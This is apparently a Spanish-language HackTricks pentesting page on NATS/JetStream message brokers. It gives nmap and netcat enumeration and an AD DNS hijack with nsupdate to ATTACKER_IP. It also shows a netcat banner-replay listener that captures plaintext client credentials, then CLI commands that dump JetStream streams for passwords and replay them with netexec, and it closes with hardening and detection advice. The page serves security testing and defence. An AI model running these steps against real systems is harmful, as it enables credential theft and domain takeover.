4222 - Pentesting NATS / JetStream

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

NATS es un bus de mensajes de alto rendimiento que usa un protocolo simple basado en texto: el servidor transmite un INFO { ... } JSON banner inmediatamente después de la conexión TCP, y el cliente responde con un frame CONNECT {"user":"USERNAME","pass":"PASSWORD",...} seguido de comandos opcionales PING/PUB/SUB. JetStream añade primitivas de persistencia (Streams & Consumers) sobre el mismo puerto TCP (4222/tcp). TLS y la autenticación son opcionales, por lo que muchas instalaciones internas ejecutan AUTH en texto plano.

  • Puerto por defecto: 4222/tcp (4223+ para rutas en clúster)
  • Campos habituales del banner: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Enumeración

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

El INFO frame también se puede extraer manualmente:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Instala la CLI oficial (Go ≥1.21) para una interacción más profunda:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Los fallos de autenticación generan inmediatamente nats: Authorization Violation, por lo que se requieren credenciales válidas para cualquier RPC significativa.

Credential capture via DNS/service impersonation

  • Identifica entradas DNS de AD obsoletas para el nombre del host del broker (p. ej. nats-svc.domain.local). Si el registro devuelve NXDOMAIN, un usuario de dominio con bajos privilegios puede recrearlo gracias a los ACLs de dynamic-update por defecto. Ver AD DNS Records abuse para contexto.
  • Registra el nombre del host en una IP controlada por el atacante:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • Espeja el banner legítimo una vez, luego reprodúcelo para cada cliente que se conecte. NATS confía en la primera línea INFO que vea, así que solo necesitamos redirigirla a través de un listener:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • En cuanto un cliente interno resuelve el nombre secuestrado, emitirá un frame en texto plano CONNECT que contiene el par user / pass y varias telemetrías (nombre del cliente, versión de Go, nivel de protocolo). Como no se requiere nada más allá del banner INFO, incluso nc es suficiente para recolectar secretos.
  • Para compromisos más largos, ejecuta el servidor oficial localmente (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). El logging TRACE ya muestra nombres de usuario; eliminar el redaction helper o capturar el tráfico con Wireshark revela la contraseña completa.

Exfiltración en JetStream y búsqueda de contraseñas

Una vez que se recupere cualquier credencial (p. ej. Dev_Account_A), guárdala como contexto de CLI para evitar reescribirla:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

El descubrimiento de JetStream normalmente sigue este patrón:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Los equipos de streaming con frecuencia registran eventos de autenticación en subjects como logs.auth. Si los desarrolladores persisten el JSON sin procesar en un stream de JetStream, las cargas útiles pueden incluir nombres de usuario y contraseñas de AD en texto plano:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Los secretos retenidos pueden luego reproducirse contra servicios solo Kerberos usando netexec smb DC01 -u USER -p PASS -k, permitiendo la compromisión completa del dominio.

Endurecimiento & detección

  • Aplicar TLS (tls, tls_required, or mTLS via nkey/creds). Sin cifrado, INFO/CONNECT leaks credentials a cualquiera on-path.
  • Identificar quién puede actualizar DNS – delegar registros de servicio a cuentas dedicadas y auditar Event IDs 257/252 para nombres de host de alto valor. Combinar con alertas de scavenging para que los nombres de broker faltantes no puedan ser revendicados silenciosamente.
  • Deshabilitar el registro de credenciales. Limpiar secretos antes de publicarlos en subjects, establecer límites de retención/antigüedad de JetStream, y aplicar deny_delete=false solo a operadores de confianza.
  • Vigilar anomalías en banners – conexiones repetidas y de corta duración, timeouts de autenticación, o INFO banners que no coincidan con la plantilla aprobada sugieren servidores suplantados.

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks